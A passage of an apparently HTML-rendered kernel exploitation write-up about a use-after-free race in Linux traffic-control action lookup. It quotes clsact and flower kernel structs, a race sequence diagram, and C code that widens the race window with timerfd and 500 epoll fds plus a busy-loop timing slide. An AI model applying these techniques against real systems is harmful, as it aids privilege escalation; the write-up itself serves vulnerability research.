&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-18&quot;&gt;	.bind_tcf	&lt;/span&gt;&lt;span class=&quot;z-15&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;z-18&quot;&gt;	clsact_bind_filter&lt;/span&gt;&lt;span class=&quot;z-15&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-18&quot;&gt;	.unbind_tcf	&lt;/span&gt;&lt;span class=&quot;z-15&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;z-18&quot;&gt;	ingress_unbind_filter&lt;/span&gt;&lt;span class=&quot;z-15&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-18&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;z-15&quot;&gt;;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The clsact Qdisc sets &lt;code&gt;QDISC_CLASS_OPS_DOIT_UNLOCKED&lt;/code&gt; in its &lt;code&gt;cl_ops-&amp;gt;flags&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;This requires the Linux kernel to be built with &lt;code&gt;CONFIG_NET_SCH_INGRESS&lt;/code&gt;.&lt;/p&gt;
&lt;pre class=&quot;giallo z-code&quot; &gt;&lt;code data-lang=&quot;c&quot; data-name=&quot;https://elixir.bootlin.com/linux/v7.1-rc5/source/net/sched/cls_flower.c#L3828&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-19 z-i&quot;&gt;static&lt;/span&gt;&lt;span class=&quot;z-24&quot;&gt; struct&lt;/span&gt;&lt;span&gt; tcf_proto_ops cls_fl_ops __read_mostly &lt;/span&gt;&lt;span class=&quot;z-15&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;z-18&quot;&gt; {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-18&quot;&gt;	.kind		&lt;/span&gt;&lt;span class=&quot;z-15&quot;&gt;= &amp;quot;&lt;/span&gt;&lt;span class=&quot;z-20&quot;&gt;flower&lt;/span&gt;&lt;span class=&quot;z-15&quot;&gt;&amp;quot;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-18&quot;&gt;	.classify	&lt;/span&gt;&lt;span class=&quot;z-15&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;z-18&quot;&gt; fl_classify&lt;/span&gt;&lt;span class=&quot;z-15&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-18&quot;&gt;	.init		&lt;/span&gt;&lt;span class=&quot;z-15&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;z-18&quot;&gt; fl_init&lt;/span&gt;&lt;span class=&quot;z-15&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-18&quot;&gt;	.destroy	&lt;/span&gt;&lt;span class=&quot;z-15&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;z-18&quot;&gt; fl_destroy&lt;/span&gt;&lt;span class=&quot;z-15&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-18&quot;&gt;	.get		&lt;/span&gt;&lt;span class=&quot;z-15&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;z-18&quot;&gt; fl_get&lt;/span&gt;&lt;span class=&quot;z-15&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-18&quot;&gt;	.put		&lt;/span&gt;&lt;span class=&quot;z-15&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;z-18&quot;&gt; fl_put&lt;/span&gt;&lt;span class=&quot;z-15&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-18&quot;&gt;	.change		&lt;/span&gt;&lt;span class=&quot;z-15&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;z-18&quot;&gt; fl_change&lt;/span&gt;&lt;span class=&quot;z-15&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-18&quot;&gt;	.delete		&lt;/span&gt;&lt;span class=&quot;z-15&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;z-18&quot;&gt; fl_delete&lt;/span&gt;&lt;span class=&quot;z-15&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-18&quot;&gt;	.delete_empty	&lt;/span&gt;&lt;span class=&quot;z-15&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;z-18&quot;&gt; fl_delete_empty&lt;/span&gt;&lt;span class=&quot;z-15&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-18&quot;&gt;	.walk		&lt;/span&gt;&lt;span class=&quot;z-15&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;z-18&quot;&gt; fl_walk&lt;/span&gt;&lt;span class=&quot;z-15&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-18&quot;&gt;	.reoffload	&lt;/span&gt;&lt;span class=&quot;z-15&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;z-18&quot;&gt; fl_reoffload&lt;/span&gt;&lt;span class=&quot;z-15&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-18&quot;&gt;	.hw_add		&lt;/span&gt;&lt;span class=&quot;z-15&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;z-18&quot;&gt; fl_hw_add&lt;/span&gt;&lt;span class=&quot;z-15&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-18&quot;&gt;	.hw_del		&lt;/span&gt;&lt;span class=&quot;z-15&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;z-18&quot;&gt; fl_hw_del&lt;/span&gt;&lt;span class=&quot;z-15&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-18&quot;&gt;	.dump		&lt;/span&gt;&lt;span class=&quot;z-15&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;z-18&quot;&gt; fl_dump&lt;/span&gt;&lt;span class=&quot;z-15&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-18&quot;&gt;	.terse_dump	&lt;/span&gt;&lt;span class=&quot;z-15&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;z-18&quot;&gt; fl_terse_dump&lt;/span&gt;&lt;span class=&quot;z-15&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-18&quot;&gt;	.bind_class	&lt;/span&gt;&lt;span class=&quot;z-15&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;z-18&quot;&gt; fl_bind_class&lt;/span&gt;&lt;span class=&quot;z-15&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-18&quot;&gt;	.tmplt_create	&lt;/span&gt;&lt;span class=&quot;z-15&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;z-18&quot;&gt; fl_tmplt_create&lt;/span&gt;&lt;span class=&quot;z-15&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-18&quot;&gt;	.tmplt_destroy	&lt;/span&gt;&lt;span class=&quot;z-15&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;z-18&quot;&gt; fl_tmplt_destroy&lt;/span&gt;&lt;span class=&quot;z-15&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-18&quot;&gt;	.tmplt_reoffload &lt;/span&gt;&lt;span class=&quot;z-15&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;z-18&quot;&gt; fl_tmplt_reoffload&lt;/span&gt;&lt;span class=&quot;z-15&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-18&quot;&gt;	.tmplt_dump	&lt;/span&gt;&lt;span class=&quot;z-15&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;z-18&quot;&gt; fl_tmplt_dump&lt;/span&gt;&lt;span class=&quot;z-15&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-18&quot;&gt;	.get_exts	&lt;/span&gt;&lt;span class=&quot;z-15&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;z-18&quot;&gt; fl_get_exts&lt;/span&gt;&lt;span class=&quot;z-15&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-18&quot;&gt;	.owner		&lt;/span&gt;&lt;span class=&quot;z-15&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;z-18&quot;&gt; THIS_MODULE&lt;/span&gt;&lt;span class=&quot;z-15&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-18&quot;&gt;	.flags		&lt;/span&gt;&lt;span class=&quot;z-15&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;z-18&quot;&gt; TCF_PROTO_OPS_DOIT_UNLOCKED&lt;/span&gt;&lt;span class=&quot;z-15&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-18&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;z-15&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-13&quot;&gt;MODULE_ALIAS_NET_CLS&lt;/span&gt;&lt;span class=&quot;z-18&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;z-15&quot;&gt;&amp;quot;&lt;/span&gt;&lt;span class=&quot;z-20&quot;&gt;flower&lt;/span&gt;&lt;span class=&quot;z-15&quot;&gt;&amp;quot;&lt;/span&gt;&lt;span class=&quot;z-18&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;z-15&quot;&gt;;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The flower filter sets &lt;code&gt;TCF_PROTO_OPS_DOIT_UNLOCKED&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;This requires the Linux kernel to be built with &lt;code&gt;CONFIG_NET_CLS_FLOWER&lt;/code&gt;.&lt;/p&gt;
&lt;h2 id=&quot;race-optimization&quot;&gt;&lt;a class=&quot;header-anchor no-hover-padding&quot; href=&quot;#race-optimization&quot; aria-label=&quot;Anchor link for: race-optimization&quot;&gt;&lt;span class=&quot;link-icon&quot; aria-hidden=&quot;true&quot;&gt;&lt;/span&gt;&lt;/a&gt;
Race Optimization&lt;/h2&gt;
&lt;p&gt;The race window is extremely short and hard to hit, so some optimization is needed to improve the hit rate.&lt;/p&gt;
&lt;h3 id=&quot;timerfd-epoll&quot;&gt;&lt;a class=&quot;header-anchor no-hover-padding&quot; href=&quot;#timerfd-epoll&quot; aria-label=&quot;Anchor link for: timerfd-epoll&quot;&gt;&lt;span class=&quot;link-icon&quot; aria-hidden=&quot;true&quot;&gt;&lt;/span&gt;&lt;/a&gt;
timerfd + epoll&lt;/h3&gt;
&lt;p&gt;This is a generic technique for extending the race window in time.&lt;/p&gt;
&lt;p&gt;Arm a timer with timerfd; when it expires, it raises a hard interrupt on the CPU. Register the timerfd with a large number of epoll fds, so the hard interrupt has to notify all of them.&lt;/p&gt;
&lt;p&gt;This dramatically increases the time spent in the hard interrupt, while other tasks on the CPU are suspended until it finishes.&lt;/p&gt;
&lt;p&gt;If the timerfd expires inside the race window, the hard interrupt comes in, the tasks on the CPU are suspended, and the race window stays open until the interrupt finishes and the &lt;code&gt;refcount_inc_not_zero()&lt;/code&gt; check completes. The interrupt’s time window is then also the race window.&lt;/p&gt;
&lt;p&gt;The race sequence diagram at this point:&lt;/p&gt;
&lt;noscript&gt;
    &lt;strong&gt;⚠️ JavaScript is required to render the diagram.&lt;/strong&gt;
&lt;/noscript&gt;
&lt;pre class=&quot;mermaid invertible-image&quot;&gt;
sequenceDiagram
    participant C0 as CPU 0: use
    participant C1 as CPU 1: free
    participant C2 as CPU 2: reclaim

    Note over C0: p = idr_find(&amp;idrinfo-&gt;action_idr, *index);

    Note over C0: hard irq

    Note over C0: hard irq time window

    Note over C1: kfree(p);

    Note over C2: reclaim and p-&gt;tcfa_refcnt &gt; 0

    Note over C0: hard irq time window

    Note over C0: hard irq finish

    Note over C0: if (!refcount_inc_not_zero(&amp;p-&gt;tcfa_refcnt))
&lt;/pre&gt;
&lt;p&gt;Example code:&lt;/p&gt;
&lt;pre class=&quot;giallo z-code&quot; &gt;&lt;code data-lang=&quot;c&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-24&quot;&gt;int&lt;/span&gt;&lt;span class=&quot;z-13&quot;&gt; timerfd_epoll&lt;/span&gt;&lt;span class=&quot;z-18&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;z-24&quot;&gt;void&lt;/span&gt;&lt;span class=&quot;z-18&quot;&gt;)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-18&quot;&gt;{&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-24&quot;&gt;	struct&lt;/span&gt;&lt;span class=&quot;z-18&quot;&gt; itimerspec its &lt;/span&gt;&lt;span class=&quot;z-15&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;z-18&quot;&gt; { .it_value &lt;/span&gt;&lt;span class=&quot;z-15&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;z-18&quot;&gt; { .tv_nsec &lt;/span&gt;&lt;span class=&quot;z-15&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;z-33&quot;&gt; 10000&lt;/span&gt;&lt;span class=&quot;z-18&quot;&gt; } }&lt;/span&gt;&lt;span class=&quot;z-15&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-24&quot;&gt;	struct&lt;/span&gt;&lt;span class=&quot;z-18&quot;&gt; epoll_event ev &lt;/span&gt;&lt;span class=&quot;z-15&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;z-18&quot;&gt; { .events &lt;/span&gt;&lt;span class=&quot;z-15&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;z-18&quot;&gt; EPOLLIN }&lt;/span&gt;&lt;span class=&quot;z-15&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-24&quot;&gt;	int&lt;/span&gt;&lt;span class=&quot;z-25&quot;&gt; dup_tfds&lt;/span&gt;&lt;span class=&quot;z-18&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;z-33&quot;&gt;100&lt;/span&gt;&lt;span class=&quot;z-18&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;z-15&quot;&gt; =&lt;/span&gt;&lt;span class=&quot;z-18&quot;&gt; {&lt;/span&gt;&lt;span class=&quot;z-33&quot;&gt; 0&lt;/span&gt;&lt;span class=&quot;z-18&quot;&gt; }&lt;/span&gt;&lt;span class=&quot;z-15&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-24&quot;&gt;	int&lt;/span&gt;&lt;span class=&quot;z-25&quot;&gt; epfds&lt;/span&gt;&lt;span class=&quot;z-18&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;z-33&quot;&gt;500&lt;/span&gt;&lt;span class=&quot;z-18&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;z-15&quot;&gt; =&lt;/span&gt;&lt;span class=&quot;z-18&quot;&gt; {&lt;/span&gt;&lt;span class=&quot;z-33&quot;&gt; 0&lt;/span&gt;&lt;span class=&quot;z-18&quot;&gt; }&lt;/span&gt;&lt;span class=&quot;z-15&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-24&quot;&gt;	int&lt;/span&gt;&lt;span class=&quot;z-18&quot;&gt; tfd&lt;/span&gt;&lt;span class=&quot;z-15&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-18&quot;&gt;	tfd &lt;/span&gt;&lt;span class=&quot;z-15&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;z-13&quot;&gt; timerfd_create&lt;/span&gt;&lt;span class=&quot;z-18&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;z-13&quot;&gt;CLOCK_MONOTONIC&lt;/span&gt;&lt;span class=&quot;z-15&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;z-13&quot;&gt; TFD_NONBLOCK&lt;/span&gt;&lt;span class=&quot;z-18&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;z-15&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-24&quot;&gt;	for&lt;/span&gt;&lt;span class=&quot;z-18&quot;&gt; (&lt;/span&gt;&lt;span class=&quot;z-24&quot;&gt;int&lt;/span&gt;&lt;span class=&quot;z-18&quot;&gt; i &lt;/span&gt;&lt;span class=&quot;z-15&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;z-33&quot;&gt; 0&lt;/span&gt;&lt;span class=&quot;z-15&quot;&gt;;&lt;/span&gt;&lt;span class=&quot;z-18&quot;&gt; i &lt;/span&gt;&lt;span class=&quot;z-24&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;z-33&quot;&gt; 100&lt;/span&gt;&lt;span class=&quot;z-15&quot;&gt;;&lt;/span&gt;&lt;span class=&quot;z-18&quot;&gt; i&lt;/span&gt;&lt;span class=&quot;z-15&quot;&gt;++&lt;/span&gt;&lt;span class=&quot;z-18&quot;&gt;)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-25&quot;&gt;		dup_tfds&lt;/span&gt;&lt;span class=&quot;z-18&quot;&gt;[i]&lt;/span&gt;&lt;span class=&quot;z-15&quot;&gt; =&lt;/span&gt;&lt;span class=&quot;z-13&quot;&gt; dup&lt;/span&gt;&lt;span class=&quot;z-18&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;z-13&quot;&gt;tfd&lt;/span&gt;&lt;span class=&quot;z-18&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;z-15&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-24&quot;&gt;	for&lt;/span&gt;&lt;span class=&quot;z-18&quot;&gt; (&lt;/span&gt;&lt;span class=&quot;z-24&quot;&gt;int&lt;/span&gt;&lt;span class=&quot;z-18&quot;&gt; i &lt;/span&gt;&lt;span class=&quot;z-15&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;z-33&quot;&gt; 0&lt;/span&gt;&lt;span class=&quot;z-15&quot;&gt;;&lt;/span&gt;&lt;span class=&quot;z-18&quot;&gt; i &lt;/span&gt;&lt;span class=&quot;z-24&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;z-33&quot;&gt; 500&lt;/span&gt;&lt;span class=&quot;z-15&quot;&gt;;&lt;/span&gt;&lt;span class=&quot;z-18&quot;&gt; i&lt;/span&gt;&lt;span class=&quot;z-15&quot;&gt;++&lt;/span&gt;&lt;span class=&quot;z-18&quot;&gt;) {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-25&quot;&gt;		epfds&lt;/span&gt;&lt;span class=&quot;z-18&quot;&gt;[i]&lt;/span&gt;&lt;span class=&quot;z-15&quot;&gt; =&lt;/span&gt;&lt;span class=&quot;z-13&quot;&gt; epoll_create1&lt;/span&gt;&lt;span class=&quot;z-18&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;z-33&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;z-18&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;z-15&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-5 z-i&quot;&gt;		/*&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-5 z-i&quot;&gt;		 * all timerfd are registered to epoll fd&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-5 z-i&quot;&gt;		 * 100 timerfd will expire at same time, wakeup epoll fd 100 times&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-5 z-i&quot;&gt;		 * 100 timerfd with 500 epoll fd will wakeup epoll fd 100 * 500 times&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-5 z-i&quot;&gt;		 */&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-24&quot;&gt;		for&lt;/span&gt;&lt;span class=&quot;z-18&quot;&gt; (&lt;/span&gt;&lt;span class=&quot;z-24&quot;&gt;int&lt;/span&gt;&lt;span class=&quot;z-18&quot;&gt; n &lt;/span&gt;&lt;span class=&quot;z-15&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;z-33&quot;&gt; 0&lt;/span&gt;&lt;span class=&quot;z-15&quot;&gt;;&lt;/span&gt;&lt;span class=&quot;z-18&quot;&gt; n &lt;/span&gt;&lt;span class=&quot;z-24&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;z-33&quot;&gt; 100&lt;/span&gt;&lt;span class=&quot;z-15&quot;&gt;;&lt;/span&gt;&lt;span class=&quot;z-18&quot;&gt; n&lt;/span&gt;&lt;span class=&quot;z-15&quot;&gt;++&lt;/span&gt;&lt;span class=&quot;z-18&quot;&gt;)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-13&quot;&gt;			epoll_ctl&lt;/span&gt;&lt;span class=&quot;z-18&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;z-25&quot;&gt;epfds&lt;/span&gt;&lt;span class=&quot;z-18&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;z-13&quot;&gt;i&lt;/span&gt;&lt;span class=&quot;z-18&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;z-15&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;z-13&quot;&gt; EPOLL_CTL_ADD&lt;/span&gt;&lt;span class=&quot;z-15&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;z-25&quot;&gt; dup_tfds&lt;/span&gt;&lt;span class=&quot;z-18&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;z-13&quot;&gt;n&lt;/span&gt;&lt;span class=&quot;z-18&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;z-15&quot;&gt;, &amp;amp;&lt;/span&gt;&lt;span class=&quot;z-13&quot;&gt;ev&lt;/span&gt;&lt;span class=&quot;z-18&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;z-15&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-18&quot;&gt;	}&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-5 z-i&quot;&gt;	/* start timerfd alarm */&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-13&quot;&gt;	timerfd_settime&lt;/span&gt;&lt;span class=&quot;z-18&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;z-13&quot;&gt;tfd&lt;/span&gt;&lt;span class=&quot;z-15&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;z-33&quot;&gt; 0&lt;/span&gt;&lt;span class=&quot;z-15&quot;&gt;, &amp;amp;&lt;/span&gt;&lt;span class=&quot;z-13&quot;&gt;its&lt;/span&gt;&lt;span class=&quot;z-15&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;z-33&quot;&gt; NULL&lt;/span&gt;&lt;span class=&quot;z-18&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;z-15&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-24&quot;&gt;	return&lt;/span&gt;&lt;span class=&quot;z-18&quot;&gt; EXIT_SUCCESS&lt;/span&gt;&lt;span class=&quot;z-15&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-18&quot;&gt;}&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Since there is no guarantee the timerfd expires exactly inside the race window, some randomness must be added before opening it.&lt;/p&gt;
&lt;p&gt;This is analogous to string matching:&lt;/p&gt;
&lt;p&gt;The string is ABCDEFG and the pattern is EFG. Place EFG at the far left of the string and match: ABC matches. Slide right by one unit: BCD matches. Eventually the alignment succeeds and EFG matches.&lt;/p&gt;
&lt;p&gt;The string is fixed, just as the timerfd expiry is fixed. Sliding EFG right by one unit is like sliding the race window right by one unit; as long as the timerfd expiry lands within the race window, the race window effectively stays open.&lt;/p&gt;
&lt;p&gt;A busy loop provides the finest-grained sleep possible.&lt;/p&gt;
&lt;pre class=&quot;giallo z-code&quot; &gt;&lt;code data-lang=&quot;c&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-24&quot;&gt;int&lt;/span&gt;&lt;span&gt; spin &lt;/span&gt;&lt;span class=&quot;z-15&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;z-18&quot;&gt; (&lt;/span&gt;&lt;span&gt;i &lt;/span&gt;&lt;span class=&quot;z-15&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;z-33&quot;&gt; 30&lt;/span&gt;&lt;span class=&quot;z-18&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;z-15&quot;&gt; %&lt;/span&gt;&lt;span class=&quot;z-33&quot;&gt; 2000&lt;/span&gt;&lt;span class=&quot;z-15&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-24&quot;&gt;for&lt;/span&gt;&lt;span class=&quot;z-18&quot;&gt; (&lt;/span&gt;&lt;span class=&quot;z-19 z-i&quot;&gt;volatile&lt;/span&gt;&lt;span class=&quot;z-24&quot;&gt; int&lt;/span&gt;&lt;span&gt; n &lt;/span&gt;&lt;span class=&quot;z-15&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;z-33&quot;&gt; 0&lt;/span&gt;&lt;span class=&quot;z-15&quot;&gt;;&lt;/span&gt;&lt;span&gt; n &lt;/span&gt;&lt;span class=&quot;z-24&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span&gt; spin&lt;/span&gt;&lt;span class=&quot;z-15&quot;&gt;;&lt;/span&gt;&lt;span&gt; n&lt;/span&gt;&lt;span class=&quot;z-15&quot;&gt;++&lt;/span&gt;&lt;span class=&quot;z-18&quot;&gt;)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-15&quot;&gt;	;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;This slides by 30 units per iteration, over a range of 0–1999.&lt;/p&gt;
&lt;h3 id=&quot;binder-thread&quot;&gt;&lt;a class=&quot;header-anchor no-hover-padding&quot; href=&quot;#binder-thread&quot; aria-label=&quot;Anchor link for: binder-thread&quot;&gt;&lt;span class=&quot;link-icon&quot; aria-hidden=&quot;true&quot;&gt;&lt;/span&gt;&lt;/a&gt;
binder thread&lt;/h3&gt;
&lt;p&gt;A binder thread sends an &lt;code&gt;RTM_NEWTFILTER&lt;/code&gt; rtnetlink packet that creates one filter and two actions — deliberately with the second action built incompletely.&lt;/p&gt;
